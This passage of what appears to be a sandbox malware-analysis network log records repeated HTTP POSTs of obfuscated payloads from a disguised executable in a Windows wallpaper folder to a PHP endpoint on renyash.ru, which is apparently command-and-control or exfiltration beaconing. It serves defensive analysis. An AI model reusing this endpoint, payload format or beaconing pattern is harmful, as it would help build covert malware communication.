Jan 1, 2025 15:18:49.092720985 CET	1056	OUT	Data Raw: 54 50 51 53 5f 5c 57 5c 59 5b 5a 5a 52 58 5b 50 55 5d 5a 5b 57 5a 5b 5c 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TPQS_\W\Y[ZZRX[PU]Z[WZ[\[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$B-/+Z$ 51\)8'(-=%)&%<#W6-',/]?'Z,9]//_ (
Jan 1, 2025 15:18:49.182455063 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:49.444614887 CET	805	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BwLCC1NF5Dq9HX23YPwxHggh01PpT94t6fCYaE2khRSqHAOWyUSXSA3Fsb4tzJV6cBs87qAUr5xnWAoe%2FSzz2%2BKXC8Q%2BBdZRFhpSCLh77cOCRfq5PVBy2OvswiD5IrBeKqWH2gsF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb32409186a8c89-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2243&min_rtt=1984&rtt_var=1262&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=359871&cwnd=201&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	50145	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:49.575105906 CET	304	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue
Jan 1, 2025 15:18:49.920886040 CET	1056	OUT	Data Raw: 54 5d 54 55 5f 5c 57 58 59 5b 5a 5a 52 5f 5b 5d 55 54 5a 5d 57 50 5b 59 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: T]TU_\WXY[ZZR_[]UTZ]WP[Y[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$E,'_$)]!(??>5Q0:1P1,+W66& ?X$/9]//_ 4
Jan 1, 2025 15:18:50.021243095 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:50.281929016 CET	808	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ahZw09QLVlDFvMcMq6RPZp4FpFhGjM5%2BJHVmJivozgInKCXj%2BN6fRwk8TpkVai26PqcmS5%2FEA6E7CinP%2FlmI0UF2zKKHRvhnpYYVMpE4Iv1%2F7WwsaytjncPdDRXc0IsoxiIjZohg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3240e588515cb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3397&min_rtt=1732&rtt_var=3980&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1360&delivery_rate=96964&cwnd=177&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	50146	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:50.410052061 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:50.764595032 CET	1056	OUT	Data Raw: 51 55 54 56 5f 57 57 59 59 5b 5a 5a 52 53 5b 50 55 5b 5a 57 57 5a 5b 5e 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QUTV_WWYY[ZZRS[PU[ZWWZ[^[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]'8$9Y"!^+$<.!T0=1,+P"2',8>.'\,:9]//_
Jan 1, 2025 15:18:50.870805979 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:51.042416096 CET	800	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dSv9YHLgdgAkqgYDTUwhUJrorEhmrydmvQLkvNpWBCU8cQ0JTYWvOBv9iskiyABNkduqEyOV9ZBBU%2B7CliJxgET0XDtdfPpsAGkw3gfkjYeVvkdqPgDVhxSTBU04DmJLXmUXR0ap"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb32413ab1143f9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5428&min_rtt=2518&rtt_var=6766&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=56578&cwnd=182&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	50147	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:51.172365904 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:51.530188084 CET	1056	OUT	Data Raw: 51 52 51 55 5a 5b 57 51 59 5b 5a 5a 52 53 5b 5b 55 5f 5a 57 57 59 5b 5e 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QRQUZ[WQY[ZZRS[[U_ZWWY[^[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$B8?#08Z!!#<(]<-%9:&+51"X%Y/<';9]//_
Jan 1, 2025 15:18:51.624248028 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:51.800581932 CET	808	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5kHMx6NWGKHh9HN8CY6lzT4sDbxGpeGivZjlv5Yh0%2FERNZaH9amgAEit%2B2KX%2FBDUj6Xpg5W0%2Bmn1i5b7aylwPdGlUVWm8z5EeGZgDvvZ7f5hTtRxSjK4Va%2Ba2kFZusgbM9gQME2m"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb324185ed0423d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4379&min_rtt=1680&rtt_var=6028&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=62728&cwnd=185&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	50148	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:51.924046040 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:52.280319929 CET	1056	OUT	Data Raw: 51 52 54 52 5a 5f 57 5e 59 5b 5a 5a 52 5e 5b 5f 55 5f 5a 5e 57 50 5b 5c 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QRTRZ_W^Y[ZZR^[_U_Z^WP[\[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]'8??39(Y#"'\)8/[=>.$R%#!&$?-(8:9]//_ 0
Jan 1, 2025 15:18:52.379750967 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:52.634932995 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3EbCr0FJo1e%2FazDzf2xlTtRHk5BuSmmHNfNvXVMv3ZutQNj2YIuaAPlTSP%2F06JZuCp13NaeM7NM1wenZ3J5KDRQz17wrVewTd%2FPTmT8LAZEdKhe2hzGsTTQXYvaTPbZeeHeuqD6j"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3241d1f2f7c7c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4097&min_rtt=2054&rtt_var=4856&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=79347&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	50149	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:52.769099951 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:53.125251055 CET	1048	OUT	Data Raw: 54 55 51 54 5a 58 57 58 59 5b 5a 5a 52 5b 5b 5c 55 55 5a 5f 57 5a 5b 57 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TUQTZXWXY[ZZR[[\UUZ_WZ[W[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]',#Y'8Z!1;X?7[<%%:%2'T6"5&?(<> /9]//_ 0
Jan 1, 2025 15:18:53.221096992 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:53.504540920 CET	808	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8LP186VGsV%2B%2FQoFRLAxQ1jQoB4cGRs%2BH%2FGPUR54iFfWdblMdxVCdToPanLZvhCVKlTqGN0uia3y1Kh2uwXxx4r%2BvClus56QWznRh5vPIPWdDINlkNglE75KK7odOWz8dA9KfwJEf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb324225e9a7ced-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4151&min_rtt=2063&rtt_var=4951&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1376&delivery_rate=77767&cwnd=178&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	50150	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:53.627908945 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	50151	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:53.739804029 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1328 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:54.092809916 CET	1328	OUT	Data Raw: 51 55 51 52 5f 58 57 50 59 5b 5a 5a 52 5d 5b 5b 55 54 5a 56 57 50 5b 56 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QUQR_XWPY[ZZR][[UTZVWP[V[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]'8/+X$)75<)(3\?"%*%2/!!"2 <=#],:9]//_ <
Jan 1, 2025 15:18:54.187536001 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:54.449799061 CET	955	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d%2Bjq0KORjqq5QzyUnRqeOjzgoU9hDo4dgkgicsiFqolGSR6Em2nKCqPsv3%2FnYCBPXuJLuHZQMc4%2B3qViUs0JNPvcYuUIShtp2cPBBYv9%2FKRPQ2d56zNVuaq0ifhHHS6MM5F3nB9d"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb324286af7727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4457&min_rtt=1993&rtt_var=5676&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1656&delivery_rate=67250&cwnd=231&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 02 1d 2e 1e 35 39 32 05 33 59 27 02 2f 01 3d 5c 2b 16 2b 07 3e 2c 21 14 26 28 04 12 29 1c 35 57 22 29 23 19 3c 05 3e 08 25 3c 25 54 31 02 2e 5a 0d 1c 39 19 36 2d 20 0c 32 0b 21 57 33 16 04 04 37 3e 3e 10 35 15 23 5d 26 13 3e 1c 31 07 21 57 2c 2e 01 10 38 03 22 07 2c 30 36 12 27 3f 23 50 0f 1f 20 08 31 3e 3d 5b 27 31 34 59 21 23 01 0c 23 39 22 0c 37 2a 02 19 27 14 32 58 26 3b 3a 51 31 3f 27 1c 36 07 29 0a 33 0b 3b 50 30 18 2f 5d 21 0e 2c 55 03 3e 54 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98.5923Y'/=\++>,!&()5W")#<>%<%T1.Z96- 2!W37>>5#]&>1!W,.8",06'?#P 1>=['14Y!##9"7*'2X&;:Q1?'6)3;P0/]!,U>TQ0
Jan 1, 2025 15:18:54.666908979 CET	955	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d%2Bjq0KORjqq5QzyUnRqeOjzgoU9hDo4dgkgicsiFqolGSR6Em2nKCqPsv3%2FnYCBPXuJLuHZQMc4%2B3qViUs0JNPvcYuUIShtp2cPBBYv9%2FKRPQ2d56zNVuaq0ifhHHS6MM5F3nB9d"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb324286af7727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4457&min_rtt=1993&rtt_var=5676&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1656&delivery_rate=67250&cwnd=231&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 02 1d 2e 1e 35 39 32 05 33 59 27 02 2f 01 3d 5c 2b 16 2b 07 3e 2c 21 14 26 28 04 12 29 1c 35 57 22 29 23 19 3c 05 3e 08 25 3c 25 54 31 02 2e 5a 0d 1c 39 19 36 2d 20 0c 32 0b 21 57 33 16 04 04 37 3e 3e 10 35 15 23 5d 26 13 3e 1c 31 07 21 57 2c 2e 01 10 38 03 22 07 2c 30 36 12 27 3f 23 50 0f 1f 20 08 31 3e 3d 5b 27 31 34 59 21 23 01 0c 23 39 22 0c 37 2a 02 19 27 14 32 58 26 3b 3a 51 31 3f 27 1c 36 07 29 0a 33 0b 3b 50 30 18 2f 5d 21 0e 2c 55 03 3e 54 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98.5923Y'/=\++>,!&()5W")#<>%<%T1.Z96- 2!W37>>5#]&>1!W,.8",06'?#P 1>=['14Y!##9"7*'2X&;:Q1?'6)3;P0/]!,U>TQ0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	50152	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:53.863080025 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:54.217776060 CET	1056	OUT	Data Raw: 54 53 51 55 5f 5e 57 58 59 5b 5a 5a 52 5c 5b 5d 55 5b 5a 56 57 5f 5b 5c 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TSQU_^WXY[ZZR\[]U[ZVW_[\[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$B8?<0<#!]+/[<."$&'"!]2?'Z?38:9]//_
Jan 1, 2025 15:18:54.326143980 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:54.586585999 CET	802	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CNlSEBDQp4OP8VYRNaLq4k4lGbqZ74gwVfoRHnyamVdawswo0kiLC7zbof3IHLEqmQtTsZQcuJCktYL2kx%2BZVXK3MFDo7Jo7UtnICXcU6CoKtYWGhSLf27gJsgdEgA74%2FU79bKyw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb324293e0b32f4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5019&min_rtt=1911&rtt_var=6932&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=54528&cwnd=111&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	50153	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:54.725229025 CET	304	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1048 Expect: 100-continue
Jan 1, 2025 15:18:55.079356909 CET	1048	OUT	Data Raw: 54 54 54 51 5f 56 57 5d 59 5b 5a 5a 52 5b 5b 5e 55 5d 5a 5f 57 5d 5b 5c 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TTTQ_VW]Y[ZZR[[^U]Z_W][\[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]'/<7Z&94!2(+(?==!P$:%S$,7">Z&?3]?#^/9]//_
Jan 1, 2025 15:18:55.176750898 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:55.390855074 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:55.431391954 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u4vDm2OSc5EpFSQahEZPPXAlci3%2B33BrYWkoqwP1ZCsppSNf96gg%2FdrgUL2QBMeXx6FxsHnIQz1gQ1wz11TdWwqXy9Iu7F%2FMM8jbovBUsApmoa%2F4QJCJvDsFNFyE0iP6dmRNW5OF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3242e9e6c42b7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5053&min_rtt=3486&rtt_var=4443&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1352&delivery_rate=91084&cwnd=211&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	50154	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:55.567622900 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
